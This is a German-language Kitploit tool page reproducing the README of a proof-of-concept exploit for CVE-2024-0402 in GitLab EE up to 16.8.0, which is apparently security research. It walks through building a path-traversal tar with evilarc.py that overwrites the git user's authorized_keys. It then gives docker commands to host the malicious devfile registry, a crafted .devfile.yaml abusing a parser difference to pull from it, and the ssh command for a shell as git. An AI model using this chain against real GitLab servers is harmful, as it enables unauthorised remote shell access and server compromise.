Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
malicious-devfile-registry — Exploit für CVE-2024-0402 in Gitlab | Kitploit
Tools/GitHubGitHub/doyensec/malicious-devfile-registry
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLieferkettensicherheitRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Exploit für CVE-2024-0402 in Gitlab

Repository anzeigen
155vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Bösartiges Devfile Registry

Das Projekt enthält ein bösartiges Devfile Registry, das zur Ausnutzung von CVE-2024-0402 in Gitlab verwendet werden kann.

Der Exploit

Ein nodejs:2.2.1 Stack wird indiziert, um die Datei archive.tar verfügbar zu machen, die das Path-Traversal-Problem in der registry-support library vor v1.1.0 ausnutzt.

tar location: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

Es wurde mit Hilfe von evilarc.py erstellt, um die Datei /var/opt/gitlab/.ssh/authorized_keys auf dem Ziel-Gitlab-Server mit den SSH-Schlüsseln aus dem Ordner ssh-keys/ in diesem Repository zu überschreiben.

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

Nach dem Start verfügt das Registry über das bösartige .tar, das zu den abrufbaren Stacks hinzugefügt wurde. Siehe die Auflistung in index.json unter den Stack-Ressourcen:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Reproduktionsschritte

Konfigurieren Sie eine Gitlab EE Instanz mit Version <=16.8.0. Aktivieren Sie Workspaces darauf gemäß der Dokumentation und den zusätzlichen Hinweisen in unserem speziellen !exploitable series Blogbeitrag.

Wenn Sie bereit sind, folgen Sie den untenstehenden Schritten:

  1. Führen Sie docker build -t devfile-index . im Stammverzeichnis dieses Repos aus, um das Registry-Container-Image zu erstellen

  2. Führen Sie docker run -d -p 5000:5000 --name local-registrypoc registry:2 aus, um ein lokales Container-Registry zu starten, das vom Devfile Registry zum Speichern des Stacks verwendet wird. Hinweis: Sie sollten den Befehl anpassen, um es nach Bedarf verfügbar zu machen. Bei uns fand alles in einer lokalen Umgebung statt

  3. Führen Sie docker run --network host devfile-index aus, um das in Schritt eins erstellte bösartige Devfile Registry zu starten. Hinweis: Ändern Sie den Befehl nach Belieben, um es für die Gitlab-Instanz erreichbar zu machen

  4. Authentifizieren Sie sich als Entwickler auf dem Ziel-Gitlab-Server und bearbeiten Sie dann die .devfile.yaml eines von Ihnen kontrollierten Repositorys. Das YAML muss den Parser-Unterschied ausnutzen, um das Abrufen aus dem bösartigen Registry zu ermöglichen

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Um das Schreiben der Datei in der Gitlab-UI auszulösen, starten Sie einfach einen neuen Workspace in dem bearbeiteten Repository. Nach wenigen Sekunden sollte das beliebige Dateischreiben stattfinden und der ssh-keys/pockey.pub wird zu den authorized_keys des Benutzers git hinzugefügt

  2. Sie sollten in der Lage sein, eine uneingeschränkte Shell als git zu erhalten mit

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
Tool herunterladen